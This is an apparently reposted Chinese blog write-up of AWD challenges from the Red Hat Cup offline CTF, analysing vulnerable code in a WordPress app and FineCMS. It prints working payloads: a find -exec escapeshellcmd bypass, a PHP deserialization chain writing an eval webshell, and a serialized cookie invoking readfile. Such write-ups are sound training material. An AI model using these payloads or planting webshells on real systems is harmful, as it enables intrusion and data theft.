awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析
上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底…最后才又勉强上了点儿分…..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章.
web1
web1是一个wordpress的应用程序,可惜当时比赛刚开始时服务器上的权限设置并不能直接修复程序,所以就先去搞了web2.后来传了一个马上去才修复了一些权限的问题,其他的漏洞基本上是通过抓包来搞出来的….这里贴一些赛后看各路大佬writeup等感觉不错的漏洞点:
命令执行1 escapeshellcmd绕过
在/wp-login.php中:
case 'debug':
$file = addslashes($_POST['file']);
system("find /tmp -iname ".escapeshellcmd($file));
break;
先看一下escapeshellcmd的说明:
可以看到escapeshellcmd的主要功能是对可以截断shell命令的字符进行转义.
然而这里的语句倍拼接到了find命令下,而find命令有一个参数是exec参数,可移执行命令,因此我们这里便可以利用find命令的exec参数来bypass.
find exec参数执行的示例:
然而这里报缺少参数,是因为-exec传入的指令需要有结束符,分号必不可少,且分号应该加上反斜杠防止歧义.
这里看到命令被循环执行了,于是我们加上-quit只打印一次:
因此利用这样的指令便可以读文件.poc为:
file=xxx -or -exec cat /flag ; quit
这里不加反斜杠是因为escapeshellcmd会给我们的参数自动加上反斜杠.
命令执行2
在wp-includes/class-wp-cachefile.php中:
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '
Welcome back %s';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:d:/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
这里可以看到构造函数中调用了loadData来对传入的cookie值进行序列化,而loadData函数中对传入的参数进行了两个过滤:
substr($data,0,2)!==’O:’
可以通过序列化一个数组,数组中的元素为类来绕过.
!preg_match(‘/O:d:/‘, $data)
可以通过正号来绕过匹配.
在template类中的析构函数中调用了createCache方法,createCache方法中可以任意写入文件.
因此构造payload的poc为:
class Template {
public $cacheFile = './shell.php';
public $template = 'new Template());
print_r(serialize($t));
最后得到的符合条件的payload为:
a:1:{i:1;O:+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php eval($_REQUEST[test]);";}}
其他
求他的洞就大概都是一些主办方预留的shell之类的了…..
web2
web2是一个finecms,当时防护做得比较好所以没有出现太多的问题.
命令执行1 /finecms/dayrui/config/config.class.php
$_GET['param'];
}
class FinecmsConfig{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}
这里可以看到调用 $config->$_GET[param] ,如果 $config 是一个类且这个类不存在 $_GET[param] 这样一个属性就会调用__get()方法.
可以看到这里的FinecmsConfig类正好存在一个 __get() 方法.而在 __get() 方法中调用了SetFilter方法.
在SetFilter方法中调用了call_user_func方法,因此这里存在命令执行漏洞.
全局搜索引用了config.class.php文件的文件,可以找到在
./finecms/Init.php中存在引用,./finecms/Init.php中设置了 $config 变量:
if(isset($_COOKIE['FINECMS_CONFIG'])){
$config = $_COOKIE['FINECMS_CONFIG'];
require FCPATH.'dayrui/config/config.class.php';
}
可以看到这里$config的值被设置为 $_COOKIE['FINECMS_CONFIG'] ;
因此我们可以得出最后的payload:
class FinecmsConfig{
private $config;
private $path;
public $filter=array('readfile');
}
$c = new FinecmsConfig();
print_r(base64_encode(serialize($c)));
得到cookie FINECMS_CONFIG的值:
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6ODoicmVhZGZpbGUiO319
GET参数设置为/flag即可获取flag.
命令执行2
finecms的一个1day
sql注入
梅子酒师傅之前挖到的一个sql注入的CVE:
其他
其他就是类似web1一样的小马之类的了…..
后记
开始打awd之后这次比赛又回到了第一次打awd的感觉….只能说还是太菜了…..
以后还是要多联系一下代码审计,真的佩服大佬们代码审计的能力.
另外题目中的漏洞点将会单独抽出来作为代码审计题目放到 我校的CTF平台上 供师傅们分析练习.
参考
注意:本文来自Image's blog。本站无法对本文内容的真实性、完整性、及时性、原创性提供任何保证,请您自行验证核实并承担相关的风险与后果!
CoLaBug.com遵循[CC BY-SA 4.0]分享并保持客观立场,本站不承担此类作品侵权行为的直接责任及连带责任。您有版权、意见、投诉等问题,请通过[eMail]联系我们处理,如需商业授权请联系原作者/原网站。
awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析相关推荐
- awd赛题的flag是什么意思_记一次AWD自动获取flag并提交
背景 近期部门内搭建了攻防实验平台供大家练习,周末组织了一波AWD练习,之前都是做渗透测试比较多,加之题目比较简单,找到漏洞getshell拿flag都没问题,只不过如果没找到突破口flag都要手动提 ...
- awd赛题的flag是什么意思_写在新年伊始——由新年Flag所想到的
对未来最大的慷慨,是把一些献给现在. 补了前天罗胖的跨年演讲,这是Ending金句了. 很有警醒力量的一句话. 新年总是离不开立Flag,我的Flag也早在半月前就立好了.关于立Flag,我看朋友圈里 ...
- awd赛题的flag是什么意思_网上说的“立flag”是什么意思?
展开全部 如果你是一个经常混进b站的人的话,那你就会发现32313133353236313431303231363533e58685e5aeb931333363366233经常有人说出立了个flag或 ...
- “中能融合杯”线下赛感悟
前言: 感谢老师的辛苦付出,才有了出去打比赛的机会,感谢学长的盛情款待.本人混子,全靠队伍中的三位大佬带飞.虽然比赛中间服务器有点问题,但主办方是真的好,吃的喝的全有. 刚打完觉得印象挺深刻的,先记录 ...
- [CTF]GUET梦极光杯线下赛web部分WP
Cover with trick 双写绕过,变量覆盖 Construct Master "%07%15%05%14%03%14%06"|"%60%60%60%60%60% ...
- awd的批量脚本 pwn_CTF线下赛AWD套路小结
CTF线下赛AWD套路小结 本文已在先知社区发表,欢迎访问,链接h 最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一.AWD模式简介 AWD ...
- CTF线下赛AWD攻防准备
CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...
- CTF线下赛AWD总结
AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...
- ISCC线下赛参赛感悟
关于ISCC线下赛参赛感悟(之前就想发出来了,但是一直没时间,刚好赶上了1024就浅浅发一下吧) 一句话感悟 我好菜呀,ctf菜,awd更菜. 关于CTF部分 总结: 大佬是真的牛,选择题290+,不 ...
最新文章
- NDoc –NET 代码文档生成器快速度上手
- vivoNEX3s版本服务器无响应,vivo NEX 3S为什么突然无人问津,这几点原因道出真相...
- swiper 定义放多少张图片,小程序swiper轮播图,自定义样式,两种方法:原生方法和bindchange方法;将点点改为数字(当前第几张 /总共几张);点击点点跳转当前图片...
- 用python爬取网站数据期末作业_python实战第一周作业:爬取一页商品数据
- Hexo+github搭建个人博客-博客发布篇
- 联想杯 - Gentle Jena(单调栈)
- 商业银行为什么大量组织高净值小规模活动?
- c语言大数相加怎么写,大数相加
- .jardesc文件
- 【Python】Matplotlib绘制蓝天下的普通房屋
- JS 打印 iframe
- 报表引擎API开发入门—带参程序数据集
- HDU1163 Eddy's digital Roots(解法二)【快速模幂+九余数定理】(废除!!!)
- Windows Server 2016安装IIS服务步骤
- 背景图片轮播html代码,一款常见的背景图片轮播动效
- Conduit-面向Kubernetes的轻量化服务网格
- github登录+注册方法
- 用纯css实现优雅的tab页,纯CSS实现Tab页切换效果的方法
- Go语言-switch case | switch中判断多个值、interface conversion: interface {} is float64, not int
- 蓝桥杯 分解质因数 C语言